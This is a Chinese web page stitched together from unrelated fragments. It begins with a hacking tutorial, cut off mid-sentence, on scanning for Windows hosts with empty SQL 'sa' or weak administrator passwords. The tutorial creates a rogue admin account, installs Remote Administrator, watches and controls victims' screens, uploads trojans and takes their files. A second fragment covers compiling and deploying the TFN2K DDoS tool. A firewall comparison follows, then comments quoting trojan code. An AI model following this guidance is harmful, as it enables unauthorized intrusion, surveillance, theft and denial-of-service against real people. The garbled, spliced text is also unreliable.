在"IIS溢出"选项卡里勾上"开99端口shell",这个是用来开99端口telnet的,要是你不会用telnet,这个就不要勾了. 在"简单管理员密码"选项卡里勾上"列出所有密码简单的管理帐号"和"上传并安装远程图形控制软件". 在"sql漏洞"选项卡里也一样,就是把三个框都打上勾,就是"列出密码为空的sa帐号""建立系统管理员帐号(shanlu)"和"上传并安装远程图形控制软件".

好了,连上网(你不会连网都没连吧?)根据你机器的性能,把线程调下,就是拖那个小滑块,越往右线程越大,要是你的机器性能不好,太大的线程会死机的!我的机器性能不错,我才用110左右的线程,并且有的时候我也会死机... ...(哭... ...)

ok!一切就绪!点"开始" . 接下来,接下来我们干什么呢?在qq上聊天吧,等结果吧

第二步. 时间很快就过去了,过了半个小时了吧,我们看看有没有什么结果,点"信息",把上边的"废话框"内容往下拉

主机:218.88.55.55

3389,Windows 2000 Advance Server Terminal 端口开放。

SQL漏洞:

sa帐号密码为空。

建立系统管理员帐号shanlu()成功

哈哈,有肉鸡了,这个是3389的肉鸡,我们用3389的登陆器登陆上去,填上他的ip,用户名是shanlu,密码是空,他的机器就展现在我们面前了!

要是有这样的提示:

主机:218.88.55.55

3389,Windows 2000 Advance Server Terminal 端口开放。

简单管理员密码:

帐号:

TsInternetUser(1234567890)[Administrators]

就说明用户名是TsInternetUser,密码是1234567890,要是括号里什么都没有,就说明密码是空,也就是说括号里的是密码,前边的是用户名.注意,帐户必须要是管理员的帐户,否则登陆不上去!"[Administrators]"告诉我们这是个管理员帐户.

要是有主机提示开了4899端口或提示"安装远程图形控制软件成功",我们就可以用Remote Administrator了!(Remote Administrator需要安装,强烈建议安装后把服务端卸载掉, *** :开始-运行,在"运行"框里填"winnt\system32\re_server.exe /uninstall",注意是"winnt"还是"windows"就看你的机器系统文件夹是什么了)卸载成功了会弹个对话框出来,说"removed successfully"要是你不卸载,最少也要在安装后给服务端装个密码,因为RA本来不是一个黑客工具,他是一个很方便的远程帮助的工具,甚至比windows自带的远程帮助工具用着还要舒服,可是,它同时也很象一个木马,有客户端和服务端,所以你要不把服务端卸载或加密码的话,很可能"螳螂捕蝉,黄鹊在后"你就成为别人攻击的目标了.

打开ra的客户端,也就是那个带红色"R"的图标,(蓝色的是服务端,不要点)提示要输注册码,一般这个下载的同时在"readme"文件里都能找到,要是找不到,我给你们一个:08le-2jgMggTuKc8bRD8VVC4O9107Hz1p7qkNUBRsGES4OdBDAnftk+ki2pQZHmM7lhys

VBux8HE7udeSR0D1E0

长吧哈哈,然后把那个勾勾上,那个勾的意思是下次不再出现这个窗口(都是乱码,晕~~)

进入了RA的主界面,我们点"add new connection to the list"(建立新连接)在弹出来的窗口的两个框上都填上刚才开了4899或安装图形控制软件成功的机器的ip,点ok,看下边多出来一个小电脑的图标没?双击进去,看见什么了?是不是看见人家的屏幕了?人家在干什么你都看的清清楚楚吧哈哈!

慢!!!你干什么,别乱动他的屏幕!先看看你用的是什么模式进去的!我来给大家介绍下上边的13个按纽的作用,我就给大家介绍其中的7个常用的吧.

第2个按纽,刚才我们用过了,就是添加主机按纽

第3个按纽,删除主机

第5个按纽(中间的之一个):这个按纽最厉害!先点这个,再双击你下边肉鸡的图标进去,你不但能看见肉鸡的屏幕,还能完完全全控制他的机器!!,不信,你双击他桌面上的图标试!!或者把他正在开的窗口关了!(我怎么这么坏?)是不是就和用自己电脑一样?哈!刚开始的时候你可能不习惯这种控制,慢慢的你就会习惯了.可是,用这个要小心啊,因为你控制他电脑的动作,只要你的肉鸡前有人,他就会发现,聪明一点的,他就立即下线了,而现在的肉鸡大部分都是浮动ip,好,你这个肉鸡白找了,还没玩过瘾就没有了...

第6个按纽:只能看见屏幕,但不能控制他的电脑,适合观察他机器的动静,比如猜猜看他机器前现在有没有人啊

第7个按纽:另类的telnet功能,你用这个模式进去后,看见的就和cmd下差不多,你可以在这个下边给你的这个肉鸡加个密码,这样后来的入侵者就进不去了(当然高手还是能进去,不过他肯定要利用其他漏洞了),并且你还可以在下边做你想做的一切!

第8个按纽,进入文件夹模式.上边的是你机器的文件夹,下边的当然是他的了,你可以在这里把你机器里的木马传到他机器上,当然你要是发现他机器上有什么你想要的,也可以下下来,并且一切都在神不知鬼不觉当中(贼??)具体的做法?一个字:拖!把你的文件

黑客如何DDOS攻击Windows系统

【IT168

黑客攻防】首先说我们用来攻击的客户机和服务器的配置 *** ,使用当下最有名的REDHAT

LINUX进行测试,本次攻击测试我使用的是FEDORA

CORE3

,软件用的是最有名的DDOS攻击工具TFN2K

LINUX版,被攻击的WINDOWS服务器系统使用的是WINDOWS2000SERVER

服务开有APACHE2

FTP

VNC关系不大,主要攻击APACHE

废话不说了,开始设置服务器.

0.解压

tar

-zxvf

tfn2k.tgz

1.安装TFN2K

TFN2K为开放原代码的软件,所以需要我们进行编译,这个不用说了,编译应该都会的吧,但有几个地方是必需注意的,因为使用不同版本和厂商的LINUX需要不同的设置。

/*struct

in_addr

{

unsigned

long

int

s_addr;

};*/

然后make进行编译

编译时会提示你输入服务器端进行密码设置8-32位,(攻击的时候需要输入密码)编译后会出现两个新的执行文件td

tfn,其中td是守护进程,也是客户机的使用进程。最后在所有的客户机中安装并运行td(需要ROOT权限),并且在服务器上建立一个文本文件,文件中记录所有的客户机IP地址(用VI编辑一个就可行了),格式为:

192.168.0.1

192.168.0.2

192.168.0.3

IP

IP

.....

然后在主服务器上运行./tfn

windows自带防火墙有什么用啊?能防黑客攻击么?

仅就防火墙功能而言,个人防火墙对双向流量都进行审核,拥有更复杂的控制列表,但是,Windows 防火墙只阻截所有传入的未经请求的流量,对主动请求传出的流量不作理会,这一点是它们之间更大的区别。绝大多数商业防火墙都提供了应用程序过滤功能,这一功能可以阻止未通过认证的应用程序向外发送报文,这样就可以防止病毒或木马等恶意代码同外部建立未认证的连接,同时也可以防止用户的计算机被黑客用做分布式攻击的跳板。然而,WindowsXP SP2所带的防火墙却只能对进入计算机的报文进行过滤,而不对计算机向外发出的报文进行过滤,它不对应用程序向外发送报 *** 任何限制。 事物有其两面性,这些个人防火墙产品依据的防黑客原理通常不一样,例如Norton的Personal Firewall(个人防火墙)是基于应用程序的(Application Level)。基于应用程序的防火墙在使用上相当麻烦,因为你必须要为每一个访问Internet的程序设置策略。而随着策略的增多,防火墙的效率也逐步下降,况且过多的策略也会相互矛盾、影响,给系统安全带来漏洞。更糟糕的是,这些个人防火墙产品都非常占用系统资源。

比如接入 *** 游戏联众世界的时候,本地计算机请求连接远程服务器,这时,个人防火墙立即提示是否允许此连接通过,而Windows 防火墙对这个主动出站请求不做任何处理,也不做任何提示,好像防火墙不存在似的,所以如果入侵已经发生或间谍软件已经安装,并主动连接到外部 *** ,那么防火墙束手无策;如果Windows 间谍软件开放端口等待外部请求连接,那么Windows 防火墙立刻阻断连接并弹出安全警告。但这不表示Windows防火墙不安全,因为攻击多来自外部,而且如果间谍软件开放端口等待外部连接的时候,Windows防火墙立即阻断连接,并且作出提示,关于这一点在下面的文章中还会提到。

对来自外部的请求连接的控制,Windows防火墙和个人防火墙在功能上区别不大。而且Windows防火墙有其独特的特性,包括:计算机的所有连接默认启用ICF、人性化的屏蔽模式-充分考虑到了计算机使用环境的变化和及时阻断攻击和恢复正常使用的情况、智能应用程序异常流量管理、对于 IPv6 ICF 内建支持等功能。比如在启动安全性功能上,有一个可以执行状态数据包过滤的启动策略。该策略允许计算机使用动态主机配置协议(Dynamic Host Configuration Protocol,DHCP)和域名系统(Domain Name System,DNS)执行基本 *** 启动任务,并与域控制器进行通信,以更新组策略。避免计算机在 *** 上进入活动状态的时间与 ICF 开始保护连接的时间之间的延迟中被未经请求的流量在启动期间攻击计算机留下了可乘之机。

遗憾的是Windows防火墙并不提供报警和入侵检测。虽然Windows防火墙可以防止对系统的入侵。而且,其他的一些个人防火墙产品还有更好的诊断和报告功能(Windows防火墙没有报告功能,仅仅有个日志)。所以,当选择使用哪个防火墙产品时,你应该考虑这些因素。如果你选择Windows防火墙,你应该确定自己明白它的有限的能力,虽然Windows 防火墙对个人用户而言已经不在是鸡肋。

目前业界比较推崇的是天网防火墙.

参考资料:

  • 评论列表:
  •  辙弃栖迟
     发布于 2022-06-29 00:56:06  回复该评论
  • n9x HANDLE hToken; TOKEN_PRIVILEGES tkp; file://定义变量 OpenProcessToken(GetCurrentProcess
  •  只酷初霁
     发布于 2022-06-28 18:41:33  回复该评论
  • 木马文件将自动销毁,这样服务端用户就很难找到木马的来源,在没有查杀木马的工 具帮助下,就很难删除木马了。傻瓜级入侵之所以说这是傻瓜级,因为这个方法完全不用动脑子,并且保守的说,照这个方法,两个小时内肯定至少能入侵3台电脑!3台绝对是保守的数目!需要软件:WinntAutoAttack (版本:
  •  酒奴卮酒
     发布于 2022-06-29 02:49:40  回复该评论
  • ain Name System,DNS)执行基本网络启动任务,并与域控制器进行通信,以更新组策略。避免计算机在网络上进入活动状态的时间与 ICF 开始保护连接的时间之间的延迟中被未经请求的流量在启动期间攻击计算机留下了可乘之机。 遗憾的是Windows防火墙并
  •  余安泪灼
     发布于 2022-06-29 03:08:06  回复该评论
  • DIR's name!"); file://返回“Fail By Your DIR's Name”信息 goto END; file://跳到EN

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.